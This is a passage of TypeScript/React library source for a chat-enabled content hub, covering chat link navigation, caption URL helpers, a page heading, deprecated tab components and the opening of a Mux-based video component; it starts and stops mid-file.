`window.location.assign`. */\n  fallbackNavigate?: (path: string) => void;\n}\n\nexport interface ExecuteNavigationImperativeArgs {\n  runtime: ChatRuntime | null | undefined;\n  href: string;\n  targetPlatform?: string | null;\n  fallbackNavigate?: (path: string) => void;\n}\n\n/** Core: make the new-tab decision (when a runtime is present) and execute. */\nfunction runNavigation(\n  runtime: ChatRuntime | null | undefined,\n  href: string,\n  path: string | null | undefined,\n  targetPlatform: string | null | undefined,\n  fallbackNavigate?: (path: string) => void,\n): void {\n  // No runtime → no embed/new-tab decision possible; plain same-tab fallback.\n  const isNewTab = runtime ? computeIsNewTab(runtime, href, targetPlatform ?? null) : false;\n  if (isNewTab) {\n    if (runtime?.navigation.openExternal) runtime.navigation.openExternal(href);\n    else window.open(href, '_blank', NEW_TAB_FEATURES);\n    return;\n  }\n  // A FOREIGN href that the host's `decideNewTab` routed same-tab must reach the\n  // router whole: stripping its origin pushes `/webinars/x` onto OUR origin and\n  // 404s. Same-origin absolutes still get stripped, so an in-app soft nav stays\n  // one. (`stripSameOriginToPath` itself strips unconditionally on purpose — the\n  // hub is one app across several origins and depends on that.)\n  const target = isForeignOriginHref(href) ? href : stripSameOriginToPath(href);\n  // Same-page hash target (e.g. a chat card deep-linking to `/faqs#faq-item-49`):\n  // route through the UNIFIED same-page-hash primitive FIRST. A host router /\n  // `router.push` performs `pushState`, which the HTML spec says does NOT fire a\n  // `hashchange` event — so URL-hash-bound listeners (FAQ auto-expand,\n  // `useScrollToHash`) never react on a SOFT same-page nav and the cited row\n  // neither opens nor scrolls. `navigateSamePageHash` does the pushState AND\n  // dispatches the synthetic `hashchange` (+ anchoring-proof scroll). It returns\n  // false for cross-page targets (different pathname/search) — those fall through\n  // to the host nav / router below, which mount the new route where the hash is\n  // read fresh on first render.\n  if (target.includes('#') && navigateSamePageHash(target, { headerOffset: STICKY_HEADER_OFFSET_PX })) {\n    return;\n  }\n  const handled = runtime?.navigation.navigate?.({ href, path, targetPlatform }) ?? false;\n  if (!handled) {\n    if (fallbackNavigate) fallbackNavigate(target);\n    else window.location.assign(target);\n  }\n}\n\n/**\n * Click-handler form. Returns `true` when it took action (called\n * `preventDefault`); `false` for modifier / non-primary clicks the browser\n * should handle natively. Spread the result into your anchor's `onClick`.\n */\nexport function executeNavigation({\n  event,\n  runtime,\n  href,\n  path,\n  targetPlatform,\n  fallbackNavigate,\n}: ExecuteNavigationClickArgs): boolean {\n  if (!href) {\n    event.preventDefault();\n    return true;\n  }\n  // Modifier / non-primary clicks → NOT handled; let the browser do its native thing.\n  // Deliberately NOT the shared `isModifierClick` (chat-nav-resolution): that predicate\n  // treats an UNDEFINED `button` as a modifier (`button !== 0`), but a structural\n  // NavClickEvent from a chip tile may omit `button` and MUST be a primary click (navigate).\n  if (event.button !== undefined && event.button !== 0) return false;\n  if (event.metaKey || event.ctrlKey || event.shiftKey || event.altKey) return false;\n  event.preventDefault();\n  runNavigation(runtime, href, path, targetPlatform, fallbackNavigate);\n  return true;\n}\n\n/**\n * Imperative form — for buttons, list-row onClicks, and post-action redirects\n * that aren't anchor clicks. Same decision tree, no event/modifier handling.\n */\nexport function executeNavigationImperative({\n  runtime,\n  href,\n  targetPlatform,\n  fallbackNavigate,\n}: ExecuteNavigationImperativeArgs): void {\n  runNavigation(runtime, href, undefined, targetPlatform, fallbackNavigate);\n}\n\n/**\n * @deprecated Call {@link executeNavigation} directly. Kept only so external\n * embedders' imports keep resolving; no lib code path goes through it.\n */\nexport function handleChatNavClick(\n  event: NavClickEvent,\n  runtime: ChatRuntime | null | undefined,\n  { href, path, targetPlatform }: ChatNavClickInput,\n  fallbackNavigate?: (path: string) => void,\n): boolean {\n  return executeNavigation({ event, runtime, href, path, targetPlatform, fallbackNavigate });\n}\n\n/** @deprecated Argument shape of the deprecated {@link handleChatNavClick}. */\nexport interface ChatNavClickInput {\n  href: string;\n  path?: string | null;\n  targetPlatform?: string | null;\n}\n","'use client';\n\n/**\n * Lib-side `<a>` wrapper for chat-rendered links (markdown bodies,\n * source-chip drill-ins, inline references).\n *\n * Reads the active `ChatRuntime` and routes clicks through\n * `handleChatNavClick`. Same single-source rules as source chips and\n * inline cards:\n *   - new-tab decision via `computeIsNewTab` (embed-mode short-circuit\n *     + `runtime.navigation.decideNewTab` + lib fallback)\n *   - `target` / `rel` via `newTabAnchorAttrs`\n *   - same-tab click → close the chat panel (via `ChatPanelContext`);\n *     new-tab click → leave panel open while the new tab loads\n *\n * Chat-only contract: uses `useRequiredChatRuntime`, which THROWS when\n * mounted outside a `<ChatRuntimeContext.Provider>`. That's by design —\n * the lib should never silently fall back when the runtime is missing\n * (the chat tree always provides one in both host + embed modes).\n *\n * For surfaces OUTSIDE the chat tree (header chrome, marketing pages, …)\n * the hub keeps its own `useNavLink`-based anchor.\n */\n\nimport type { ReactNode, MouseEvent } from 'react';\nimport { useRequiredChatRuntime } from '../../contexts/chat-runtime-context';\nimport { useRouter } from '../../embed-shims/next-navigation';\nimport { useChatPanel } from './chat-panel-context';\nimport { resolveHrefForRuntime } from './utils/chat-nav-resolution';\nimport { executeNavigation } from './utils/execute-navigation';\nimport { computeIsNewTab, newTabAnchorAttrs } from './utils/nav-anchor-props';\n\nexport interface NavLinkAnchorViaRuntimeProps {\n  href: string;\n  path?: string | null;\n  targetPlatform?: string | null;\n  className?: string;\n  /** Optional — matches `NavLinkAnchorComponent`'s contract so the\n   *  markdown-anchor slot can render an empty anchor (rare but legal). */\n  children?: ReactNode;\n}\n\nexport function NavLinkAnchorViaRuntime({\n  href,\n  path,\n  targetPlatform,\n  className,\n  children,\n}: NavLinkAnchorViaRuntimeProps) {\n  const runtime = useRequiredChatRuntime();\n  const router = useRouter();\n  const panel = useChatPanel();\n  const resolvedHref = resolveHrefForRuntime(href, runtime);\n  const isNewTab = computeIsNewTab(runtime, resolvedHref, targetPlatform ?? null);\n\n  const onClick = (e: MouseEvent<HTMLAnchorElement>) => {\n    const handled = executeNavigation({\n      event: e,\n      runtime,\n      href: resolvedHref,\n      path,\n      targetPlatform,\n      fallbackNavigate: router.push,\n    });\n    if (handled && !isNewTab && panel?.closeChat) panel.closeChat();\n  };\n  return (\n    <a href={resolvedHref} {...newTabAnchorAttrs(isNewTab)} onClick={onClick} className={className}>\n      {children}\n    </a>\n  );\n}\n","'use client';\n\n/**\n * One-component-fits-all \"Ask\" affordance shared across the three\n * chat-adjacent surfaces (source chips, inline cards, search results).\n *\n * Before this primitive, the same semantic action was implemented three\n * different ways:\n *   - Source chip: inline `<button>` next to the chip\n *   - Source chip dropdown row: secondaryAction icon-button\n *   - Inline card: UI-Kit `<Button variant=\"transparent\">Ask</Button>`\n *   - Search results: nothing (asymmetric — no Ask)\n *\n * Three icon sizes, three different opacity rules, three different DOM\n * shapes for the same action. Centralized here as a single `Button`-\n * backed wrapper so the DOM + a11y + hover behavior live in one place.\n * The `density` prop picks the visual variant; the icon/label/click\n * semantics are identical across all three.\n */\n\nimport { MessageSquare, FileText } from 'lucide-react';\nimport type React from 'react';\nimport { Button } from '../ui/button';\nimport type { ChatRef } from './chat-ref.types';\n\nexport type SourceActionDensity = 'inline' | 'card' | 'list-row';\n\nexport interface SourceActionButtonProps {\n  /** The row to drill into when clicked. The button is HIDDEN when this\n   *  is null (e.g. row has no primary key — Ask can't fire). */\n  chatRef: ChatRef | null;\n  /** Click handler. Receives the chatRef. When undefined the button is\n   *  hidden — same as null chatRef. */\n  onDiscuss?: (ref: ChatRef) => void;\n  /** Visual density / layout. Defaults to `'inline'`. */\n  density?: SourceActionDensity;\n  /** Optional className appended to the outer element. */\n  className?: string;\n  /** Button text label override. Defaults to `'Ask'`. The Display variant\n   *  on inline cards passes `'Display'` here. Density `'inline'` shows\n   *  the icon only — the label is used for aria-label / title even when\n   *  it doesn't render visibly. */\n  label?: string;\n}\n\n// Per-density styling lives in one map so the three call sites share the\n// SAME hover/opacity/transition rules. Adding a fourth density means\n// adding one entry here, not touching the render path.\nconst DENSITY_STYLES: Record<\n  SourceActionDensity,\n  {\n    size: 'small' | 'icon';\n    showLabel: boolean;\n    iconSize: string;\n    className: string;\n  }\n> = {\n  inline: {\n    size: 'icon',\n    showLabel: false,\n    iconSize: '!h-3 !w-3',\n    className:\n      '!h-5 !w-5 !p-0 text-ods-text-secondary opacity-60 hover:opacity-100 hover:text-ods-text-primary hover:bg-ods-accent/15',\n  },\n  card: {\n    size: 'small',\n    showLabel: true,\n    iconSize: '!h-3 !w-3',\n    className:\n      '!h-auto !p-0 text-h6 font-normal text-ods-text-secondary opacity-60 hover:bg-transparent hover:opacity-100 hover:text-ods-text-primary',\n  },\n  'list-row': {\n    size: 'small',\n    showLabel: true,\n    iconSize: '!h-3 !w-3',\n    className:\n      '!h-auto !px-1.5 !py-0.5 text-h6 font-normal text-ods-text-secondary opacity-60 hover:opacity-100 hover:text-ods-text-primary hover:bg-ods-accent/10',\n  },\n};\n\nexport function SourceActionButton({\n  chatRef,\n  onDiscuss,\n  density = 'inline',\n  className,\n  label = 'Ask',\n}: SourceActionButtonProps): React.ReactElement | null {\n  if (!chatRef || !onDiscuss) return null;\n\n  // Label-driven icon. \"Display\" reads as a verbatim-content action so a\n  // FileText icon reinforces \"show me the body\" semantics; the default\n  // \"Ask\" stays MessageSquare for the conversational connotation. Any\n  // future label adds an entry to this map.\n  const isDisplay = label === 'Display';\n  const verbLabel = isDisplay ? `Display ${chatRef.title || 'this item'}` : `Ask about ${chatRef.title || 'this item'}`;\n  const handle = (e: React.MouseEvent) => {\n    e.preventDefault();\n    e.stopPropagation();\n    onDiscuss(chatRef);\n  };\n  const styles = DENSITY_STYLES[density];\n  const IconComponent = isDisplay ? FileText : MessageSquare;\n  const icon = <IconComponent className={styles.iconSize} />;\n\n  return (\n    <Button\n      variant=\"transparent\"\n      size={styles.size}\n      leftIcon={styles.showLabel ? icon : undefined}\n      onClick={handle}\n      aria-label={verbLabel}\n      title={verbLabel}\n      className={`${styles.className}${className ? ` ${className}` : ''}`}\n    >\n      {styles.showLabel ? label : icon}\n    </Button>\n  );\n}\n","/**\n * Build the captions API URL for a video entity.\n *\n * Returns the HTTPS URL to the `/api/captions/[entityType]/[entityId]` endpoint\n * which serves VTT content for iOS native fullscreen subtitles.\n * Returns undefined if entity has no srt_content.\n *\n * Cache-busting hash derived from the srt_content length so iOS Safari\n * fetches fresh VTT when subtitles are regenerated (Safari aggressively caches\n * <track> src URLs even with short Cache-Control max-age).\n *\n * Lifted from hub `lib/utils/captions-url.ts`. The hub's hard-coded\n * `VideoEnabledEntityType` enum is widened to `string` here — embedders\n * pass whatever entity-type discriminator their reverse-proxied\n * `/api/captions/...` route expects.\n */\n/** Same-origin default — for hosts that serve the route themselves (the hub).\n *  Cross-origin embedders set `endpoints.captionsUrlPrefix` instead. */\nconst DEFAULT_CAPTIONS_PATH = '/api/captions';\n\nexport function getCaptionsUrl(\n  entityType: string,\n  entityId: string | number,\n  srtContent?: string | null,\n  options?: {\n    /**\n     * Which SRT column the endpoint should serve. `'highlight'` targets the\n     * entity's highlight_srt_content (AI highlight reel captions); omitted\n     * means the main video's srt_content.\n     */\n    variant?: 'highlight';\n  },\n): string | undefined {\n  if (!srtContent) return undefined;\n  const hash = `${srtContent.length}-${srtContent.slice(0, 8).replace(/\\s/g, '')}`;\n  const variant = options?.variant ? `&variant=${options.variant}` : '';\n  return `${DEFAULT_CAPTIONS_PATH}/${entityType}/${entityId}?v=${hash}${variant}`;\n}\n\n/** The slice of `ChatRuntime.endpoints` this module needs. */\nexport interface CaptionsEndpoints {\n  /** Base URL prefix for the captions route (plain path base, no query\n   *  params) — e.g. `/content/api/captions` in a proxied embedder. Unset ⇒\n   *  the same-origin relative default `/api/captions` (the hub). Wired by\n   *  hosts exactly like every other endpoint on `ChatRuntime.endpoints`. */\n  captionsUrlPrefix?: string;\n}\n\nfunction resolveCaptionsBase(endpoints?: CaptionsEndpoints | null): string {\n  return endpoints?.captionsUrlPrefix || DEFAULT_CAPTIONS_PATH;\n}\n\n/** Rebase an already-built relative `/api/captions/...` URL (e.g. one the hub\n *  API computed server-side) onto the host's captions base. Same-origin hosts\n *  (base = default) get the URL back untouched. Non-captions URLs pass through. */\nexport function rebaseCaptionsUrl<T extends string | null | undefined>(\n  endpoints: CaptionsEndpoints | null | undefined,\n  url: T,\n): T | string {\n  if (!url || !url.startsWith(`${DEFAULT_CAPTIONS_PATH}/`)) return url;\n  const base = resolveCaptionsBase(endpoints);\n  if (base === DEFAULT_CAPTIONS_PATH) return url;\n  return `${base}${url.slice(DEFAULT_CAPTIONS_PATH.length)}`;\n}\n\n/**\n * The endpoints-aware entry point — `getCaptionsUrl` based on\n * `endpoints.captionsUrlPrefix` (consumers hand over `runtime?.endpoints` and\n * nothing else). Hub/same-origin hosts leave the prefix unset and resolve to\n * the relative default.\n */\nexport function buildCaptionsUrl(\n  endpoints: CaptionsEndpoints | null | undefined,\n  entityType: string,\n  entityId: string | number,\n  srtContent?: string | null,\n  options?: { variant?: 'highlight' },\n): string | undefined {\n  const rel = getCaptionsUrl(entityType, entityId, srtContent, options);\n  return rel ? rebaseCaptionsUrl(endpoints, rel) : undefined;\n}\n\n/** The two SRT columns every video entity carries — main video + highlight\n *  reel. The caption URL shape is fully generic over these\n *  (`?variant=highlight` is the only difference), so consumers never derive\n *  the two URLs by hand. */\nexport interface CaptionSrtFields {\n  id: string | number;\n  srt_content?: string | null;\n  highlight_srt_content?: string | null;\n}\n\nexport interface EntityCaptionUrls {\n  captionsUrl?: string;\n  highlightCaptionsUrl?: string;\n}\n\n/**\n * THE one-stop caption derivation for a video entity: hand over the runtime\n * `endpoints` + the entity row and get both `<track>` URLs back, base-resolved\n * for the host (relative on the hub, proxied in embedders). Every view\n * (release, onboarding guide, webinar, podcast, …) calls this once instead of\n * hand-building main + highlight URLs separately.\n */\nexport function getEntityCaptionUrls(\n  endpoints: CaptionsEndpoints | null | undefined,\n  entityType: string,\n  entity: CaptionSrtFields | null | undefined,\n): EntityCaptionUrls {\n  if (!entity) return {};\n  return {\n    captionsUrl: buildCaptionsUrl(endpoints, entityType, entity.id, entity.srt_content),\n    highlightCaptionsUrl: buildCaptionsUrl(endpoints, entityType, entity.id, entity.highlight_srt_content, {\n      variant: 'highlight',\n    }),\n  };\n}\n\n/**\n * Identity-only variant of `getEntityCaptionUrls` — for surfaces that know the\n * entity's type + id but NOT its SRT columns (chat cards, whose hydration rows\n * deliberately exclude the heavy SRT content). The `/api/captions` route is\n * addressed purely by `<entityType>/<entityId>`, so the URLs derive from\n * identity alone; a video without subtitles costs one silent 404 `<track>`\n * fetch. No `?v=` cache-buster (no content to hash) — the route's own\n * Cache-Control governs freshness.\n */\nexport function getEntityCaptionUrlsById(\n  endpoints: CaptionsEndpoints | null | undefined,\n  entityType: string,\n  entityId: string | number,\n): Required<EntityCaptionUrls> {\n  const base = resolveCaptionsBase(endpoints);\n  return {\n    captionsUrl: `${base}/${entityType}/${entityId}`,\n    highlightCaptionsUrl: `${base}/${entityType}/${entityId}?variant=highlight`,\n  };\n}\n\n/**\n * Chat docType → captions-route entity type. Chat documentTypes equal the\n * captions entity types for every video-bearing type except podcast\n * (`podcast` vs `podcast_episode`). Kept here (not per-card) so the alias\n * exists exactly once.\n */\nexport function captionsEntityTypeForDocType(docType: string): string {\n  return docType === 'podcast' ? 'podcast_episode' : docType;\n}\n","import type { ReactNode } from 'react';\n\n/**\n * THE page-title style — the ODS `text-h1` token (`--font-size-h1-title` =\n * 40 / 48 / 56px, Azeret Mono semibold), which already owns the responsive\n * letter-spacing (-0.02em). Mirrors the global `h1 { @apply text-h1 }` base, so\n * every page heading is the SAME size across the lib and every consuming app.\n *\n * Single source of truth — do NOT hardcode a px size or re-assert the token's\n * tracking; render `<PageHeading>` (or, for the rare non-h1 caller, apply\n * `PAGE_HEADING_CLASS`).\n */\nexport const PAGE_HEADING_CLASS = 'text-h1 text-ods-text-primary';\n\n/**\n * THE section-heading style — the ODS `text-h2` sub-title token\n * (`--font-size-h2-sub-title` = 24 / 32 / 32px), one step below the page\n * title so a section `<h2>`/`<h3>` is always visually distinguishable from\n * the page's `<h1>`. Same single-source rule as PAGE_HEADING_CLASS: never\n * hardcode a px ramp or re-assert the token's tracking on a section heading.\n */\nexport const SECTION_HEADING_CLASS = 'text-h2 text-ods-text-primary';\n\nconst DESCRIPTION_CLASS =\n  'mt-6 max-w-[640px] font-body text-[16px] md:text-[18px] leading-[24px] md:leading-[28px] text-ods-text-secondary';\n\nexport interface PageHeadingProps {\n  /** Heading content — plain text or nodes (e.g. an accent <span>). */\n  children: ReactNode;\n  /**\n   * Heading level. Defaults to 'h1' (exactly one per page). Pass 'h2' where the\n   * page already renders an <h1> above (e.g. a hero/featured item).\n   */\n  as?: 'h1' | 'h2';\n  /** Optional supporting copy rendered as a <p> beneath the heading. */\n  description?: ReactNode;\n  /** Extra classes merged onto the heading (margins, width, truncate, etc.). */\n  className?: string;\n  /** Extra classes merged onto the description <p>. */\n  descriptionClassName?: string;\n}\n\n/**\n * Unified page heading. Renders the canonical page-title <h1> (or <h2>) plus an\n * optional description, so every page shares one consistent style instead of\n * duplicating the class string. Layout (PageContainer, margins, surrounding\n * sections) stays with the caller — this owns only the heading + description.\n */\nexport function PageHeading({\n  children,\n  as: Tag = 'h1',\n  description,\n  className,\n  descriptionClassName,\n}: PageHeadingProps) {\n  const headingClass = className ? `${PAGE_HEADING_CLASS} ${className}` : PAGE_HEADING_CLASS;\n  const descClass = descriptionClassName ? `${DESCRIPTION_CLASS} ${descriptionClassName}` : DESCRIPTION_CLASS;\n  // `description` is a ReactNode, so `description={cond && '...'}` can pass a\n  // boolean `false` — exclude it (and empty string) so we never render an empty\n  // <p> that adds phantom vertical gap beneath the heading.\n  const hasDescription = description != null && description !== '' && typeof description !== 'boolean';\n  return (\n    <>\n      <Tag className={headingClass}>{children}</Tag>\n      {hasDescription && <p className={descClass}>{description}</p>}\n    </>\n  );\n}\n","'use client';\n\nimport * as TabsPrimitive from '@radix-ui/react-tabs';\nimport { type ComponentPropsWithoutRef, type ElementRef, forwardRef } from 'react';\n\nimport { cn } from '../../utils/cn';\n\n/**\n * @deprecated Use `TabNavigation` from `components/ui/tab-navigation` — the\n * single canonical tab component (ODS tokens, URL-sync, overflow scroll\n * shadows). This Radix-based `Tabs` set (a duplicate of `components/tabs.tsx`)\n * styles itself with legacy shadcn tokens (`bg-muted`, `text-foreground`,\n * `ring-ring`) that don't exist in ODS and is kept only for un-migrated call\n * sites. Do not use in new code — EXCEPT `variant=\"admin-rail\"`, the sanctioned\n * ODS underline-tab styling for admin config surfaces (see {@link TabsList}).\n */\nconst Tabs = TabsPrimitive.Root;\n\nexport type TabsVariant = 'default' | 'admin-rail';\n\nconst TABS_LIST_BASE = 'inline-flex h-10 items-center justify-center rounded-md bg-muted p-1 text-muted-foreground';\n\n/**\n * The admin underline-tab styling, baked in as a variant so call sites never\n * stack these classes themselves: transparent list on a bordered, scrollable\n * rail; accent underline on the active trigger; secondary → primary text on\n * hover. Set `variant=\"admin-rail\"` on BOTH `TabsList` and each `TabsTrigger`.\n */\nconst tabsListVariantClasses: Record<TabsVariant, string> = {\n  default: TABS_LIST_BASE,\n  // Applied ON TOP of the base (cn resolves the conflicts) so the variant\n  // renders exactly what admin call sites produced by stacking these classes.\n  'admin-rail': cn(TABS_LIST_BASE, 'inline-flex h-auto justify-start rounded-none bg-transparent p-0'),\n};\n\nconst TABS_TRIGGER_BASE =\n  'inline-flex items-center justify-center whitespace-nowrap rounded-sm px-3 py-1.5 text-h6 ring-offset-background transition-all focus-visible:outline-none focus-visible:ring-2 focus-visible:ring-ring focus-visible:ring-offset-2 disabled:pointer-events-none disabled:opacity-50 data-[state=active]:bg-background data-[state=active]:text-foreground data-[state=active]:shadow-sm';\n\nconst tabsTriggerVariantClasses: Record<TabsVariant, string> = {\n  default: TABS_TRIGGER_BASE,\n  'admin-rail': cn(\n    TABS_TRIGGER_BASE,\n    'rounded-none border-b-2 border-transparent',\n    'data-[state=active]:border-ods-accent data-[state=active]:bg-transparent',\n    'whitespace-nowrap px-[var(--spacing-system-l)] py-[var(--spacing-system-sf)] text-h4',\n    'text-ods-text-secondary data-[state=active]:text-ods-text-primary',\n    'transition-colors hover:text-ods-text-primary',\n    // Disabled tabs stay visible but inert.\n    'disabled:cursor-not-allowed disabled:opacity-40 disabled:hover:text-ods-text-secondary',\n  ),\n};\n\n/** The bordered rail `admin-rail` lists sit on, scrollable when tabs overflow. */\nconst ADMIN_RAIL_WRAPPER_CLASS = 'w-full border-b border-ods-border overflow-x-auto';\n\ninterface TabsListProps extends ComponentPropsWithoutRef<typeof TabsPrimitive.List> {\n  /**\n   * `admin-rail` renders the ODS underline-tab list AND wraps it in the\n   * bordered, horizontally-scrollable rail — no extra wrapper div needed at\n   * the call site.\n   */\n  variant?: TabsVariant;\n}\n\n/** @deprecated for `variant=\"default\"` — use `TabNavigation`. `variant=\"admin-rail\"` is the sanctioned admin tabs styling. See {@link Tabs}. */\nconst TabsList = forwardRef<ElementRef<typeof TabsPrimitive.List>, TabsListProps>(\n  ({ className, variant = 'default', ...props }, ref) => {\n    const list = <TabsPrimitive.List ref={ref} className={cn(tabsListVariantClasses[variant], className)} {...props} />;\n    if (variant === 'admin-rail') {\n      return <div className={ADMIN_RAIL_WRAPPER_CLASS}>{list}</div>;\n    }\n    return list;\n  },\n);\nTabsList.displayName = TabsPrimitive.List.displayName;\n\ninterface TabsTriggerProps extends ComponentPropsWithoutRef<typeof TabsPrimitive.Trigger> {\n  /** Match the `variant` set on the surrounding `TabsList`. */\n  variant?: TabsVariant;\n}\n\n/** @deprecated for `variant=\"default\"` — use `TabNavigation`. `variant=\"admin-rail\"` is the sanctioned admin tabs styling. See {@link Tabs}. */\nconst TabsTrigger = forwardRef<ElementRef<typeof TabsPrimitive.Trigger>, TabsTriggerProps>(\n  ({ className, variant = 'default', ...props }, ref) => (\n    <TabsPrimitive.Trigger ref={ref} className={cn(tabsTriggerVariantClasses[variant], className)} {...props} />\n  ),\n);\nTabsTrigger.displayName = TabsPrimitive.Trigger.displayName;\n\n/** @deprecated Use `TabNavigation` from `components/ui/tab-navigation`. See {@link Tabs}. */\nconst TabsContent = forwardRef<\n  ElementRef<typeof TabsPrimitive.Content>,\n  ComponentPropsWithoutRef<typeof TabsPrimitive.Content>\n>(({ className, ...props }, ref) => (\n  <TabsPrimitive.Content\n    ref={ref}\n    className={cn(\n      'mt-2 ring-offset-background focus-visible:outline-none focus-visible:ring-2 focus-visible:ring-ring focus-visible:ring-offset-2',\n      className,\n    )}\n    {...props}\n  />\n));\nTabsContent.displayName = TabsPrimitive.Content.displayName;\n\nexport { Tabs, TabsList, TabsTrigger, TabsContent };\n","'use client';\n\n/**\n * useCaptions — THE captions configurer.\n *\n * The ONE place in the lib that reads the chat-runtime endpoints\n * (`endpoints.captionsUrlPrefix`) for caption purposes. Every caption\n * consumer (`EntityVideoSection`, `ReleaseDetailPage`,\n * `OnboardingGuideDetailView`, `useWalkthroughVideo`, …) calls this hook and\n * uses the returned pre-bound helpers — no component reads runtime endpoint\n * values for captions itself.\n *\n * The pure derivation logic lives in `captions-url.ts` (endpoint-agnostic,\n * server-import-safe); this hook only binds it to the ambient runtime.\n */\n\nimport { useMemo } from 'react';\nimport { useChatRuntime } from '../../contexts/chat-runtime-context';\nimport {\n  getEntityCaptionUrls,\n  getEntityCaptionUrlsById,\n  rebaseCaptionsUrl,\n  type CaptionSrtFields,\n  type EntityCaptionUrls,\n} from './captions-url';\n\nexport interface CaptionsApi {\n  /** Both track URLs from an entity row's SRT columns (presence-gated). */\n  forEntity: (entityType: string, entity: CaptionSrtFields | null | undefined) => EntityCaptionUrls;\n  /** Both track URLs from entity identity alone (no SRT knowledge — chat cards). */\n  forEntityId: (entityType: string, entityId: string | number) => Required<EntityCaptionUrls>;\n  /** Rebase an already-built relative `/api/captions/...` URL onto the host base. */\n  rebase: <T extends string | null | undefined>(url: T) => T | string;\n}\n\nexport function useCaptions(): CaptionsApi {\n  const endpoints = useChatRuntime()?.endpoints ?? null;\n  return useMemo(\n    () => ({\n      forEntity: (entityType, entity) => getEntityCaptionUrls(endpoints, entityType, entity),\n      forEntityId: (entityType, entityId) => getEntityCaptionUrlsById(endpoints, entityType, entityId),\n      rebase: url => rebaseCaptionsUrl(endpoints, url),\n    }),\n    [endpoints],\n  );\n}\n","'use client';\n\n/**\n * <Video> — single source of truth for every public video surface\n * across every Flamingo platform consumer of this lib.\n *\n * One component, three sources, three layouts. Replaces and deletes\n * the previous lib primitives:\n *\n *   - `<VideoPlayer>`  (react-player wrapper, ~900 LOC custom controls)\n *   - `<YouTubeEmbed>` (separate lite-youtube facade)\n *\n * Routing (`kind` discriminant, default `'auto'`):\n *\n *   kind=\"youtube\"  → inline lite-youtube facade (poster + click→iframe)\n *   kind=\"file\"     → <MuxPlayer> (HLS + MP4 + Mux Data + CMCD all in one)\n *   kind=\"auto\"     → strict URL parse:\n *                        bare 11-char id   → youtube\n *                        YouTube hostname  → youtube\n *                        anything else     → file\n *\n * `<MuxPlayer>` handles both `.m3u8` (HLS via hls.js, native on Safari)\n * AND plain `.mp4` (uses the underlying `<video>` element). One component,\n * both paths — no internal \"HLS vs MP4\" branch needed. Captions are\n * rendered as native `<track>` children when `captionsUrl` is passed.\n *\n * Layouts:\n *   layout=\"centered\" → max-w-3xl centered wrapper. Detail-page surface.\n *   layout=\"fill\"     → absolute inset-0 w-full h-full. Carousel slides.\n *   layout=\"native\"   → intrinsic aspect ratio. Bites grid, blog cards.\n */\n\nimport MuxPlayer from '@mux/mux-player-react';\nimport type React from 'react';\nimport { useCallback, useEffect, useImperativeHandle, useMemo, useRef, useState } from 'react';\nimport { useAuthedAssetSrc } from '../../hooks/use-authed-asset-src';\nimport { useNearViewport } from '../../hooks/use-near-viewport';\nimport { fetchPriorityProp } from '../../utils/fetch-priority';\nimport { Button } from '../ui/button';\nimport { useIosNativeVideoFullscreen } from './use-ios-native-video-fullscreen';\nimport { saveDataEnabled } from './use-video-warmup';\nimport { VideoPlayBadge, VideoUnmuteGlyph } from './video-center-badge';\n\n// =============================================================================\n// Dev-only hover→playing latency instrumentation gate. Always on in dev\n// builds; opt-in in production via `localStorage.VIDEO_PERF_DEBUG` so an\n// \"instant hover\" regression can be measured on a live deployment.\n// =============================================================================\nfunction videoPerfDebugEnabled(): boolean {\n  if (process.env.NODE_ENV !== 'production') return true;\n  try {\n    return typeof localStorage !== 'undefined' && localStorage.getItem('VIDEO_PERF_DEBUG') !== null;\n  } catch {\n    return false;\n  }\n}\n\n// =============================================================================\n// Mux viewer identity without a cookie\n// =============================================================================\n//\n// Mux Data keeps `mux_viewer_id` (stable viewer) and a rolling session id in a\n// `muxData` cookie, 365-day expiry. That cookie rides on EVERY request to the\n// origin, and its punctuation trips Cloud Armor's restricted-SQL-character\n// cookie counters (CRS 942420/942421) — 245 preview-DENY events in a 6-hour\n// census. `disableCookies` alone stops the beacons carrying any viewer id at\n// all (`viewerData = disableCookies ? {} : Ae()` in mux-embed), which would\n// turn every page load into a new \"unique viewer\".\n//\n// So we keep the identity and drop the cookie: the id lives in localStorage and\n// is handed to Mux as `metadata.viewer_user_id`. No coverage is lost — Mux's\n// cookie is host-only (`Cookies.set` with `{path:'/'}` and no `domain`), and\n// localStorage is origin-scoped, so the two cover exactly the same surface.\n//\n// What does NOT come back: `session_id`/`session_start`, which group views into\n// a 25-minute session — mux-embed derives those internally and exposes no way\n// to supply them. Per-view metrics, QoE and viewer counts are unaffected.\n// `mux_sample_number` is also dropped, which is harmless at the default\n// `sampleRate: 1` (the beacon check is `(sample ?? 0) >= sampleRate`).\nconst MUX_VIEWER_ID_KEY = 'mux:viewer_id';\n\nfunction muxViewerId(): string | undefined {\n  try {\n    if (typeof localStorage === 'undefined') return undefined;\n    const existing = localStorage.getItem(MUX_VIEWER_ID_KEY);\n    if (existing) return existing;\n    const generated =\n      typeof crypto !== 'undefined' && typeof crypto.randomUUID === 'function'\n        ? crypto.randomUUID()\n        : `${Date.now().toString(36)}-${Math.random().toString(36).slice(2, 10)}`;\n    localStorage.setItem(MUX_VIEWER_ID_KEY, generated);\n    return generated;\n  } catch {\n    // Private mode / storage disabled — Mux falls back to per-view identity.\n    return undefined;\n  }\n}\n\n// One-time removal of the legacy `muxData` cookie. `disableCookies` stops NEW\n// writes but never clears what was already issued, and at 365 days those\n// browsers would keep tripping 942420/942421 for a year. Module-level so it runs\n// on import, before any player mounts. Host-only, so no `domain` attribute —\n// that is what Mux set. Remove this once the census reads zero.\nif (typeof document !== 'undefined') {\n  try {\n    document.cookie = 'muxData=; path=/; max-age=0';\n  } catch {\n    // Non-blocking: a failed cleanup only means the census decays slower.\n  }\n}\n\n// =============================================================================\n// Suppress Google Cast SDK loading (CSP-friendly)\n// =============================================================================\n//\n// Why: MuxPlayer is built on `media-chrome`, which is built on `castable-video`.\n// `castable-video`'s `loadCastFramework()` UNCONDITIONALLY injects a\n// `<script src=\"https://www.gstatic.com/cv/.../cast_sender.js?loadCastFramework=1\">`\n// whenever Chrome is detected. That script then internally loads further\n// scripts from `http://www.gstatic.com/eureka/clank/...` and\n// `http://www.gstatic.com/cast/sdk/libs/...` — over **HTTP, not HTTPS** —\n// which can never pass any reasonable CSP. Result: every video render\n// emits 3+ \"Loading the script ... violates CSP\" errors in the browser\n// console.\n//\n// The loader has a single early-exit: `if (globalThis.chrome?.cast)\n// return;`. So we make `chrome.cast` truthy (with `isAvailable: false`\n// so existing apps that consult that flag still see \"no cast\") BEFORE\n// MuxPlayer's `castable-mixin` runs. Module-level code in this file\n// executes during the import that brings `MuxPlayer` into the bundle —\n// 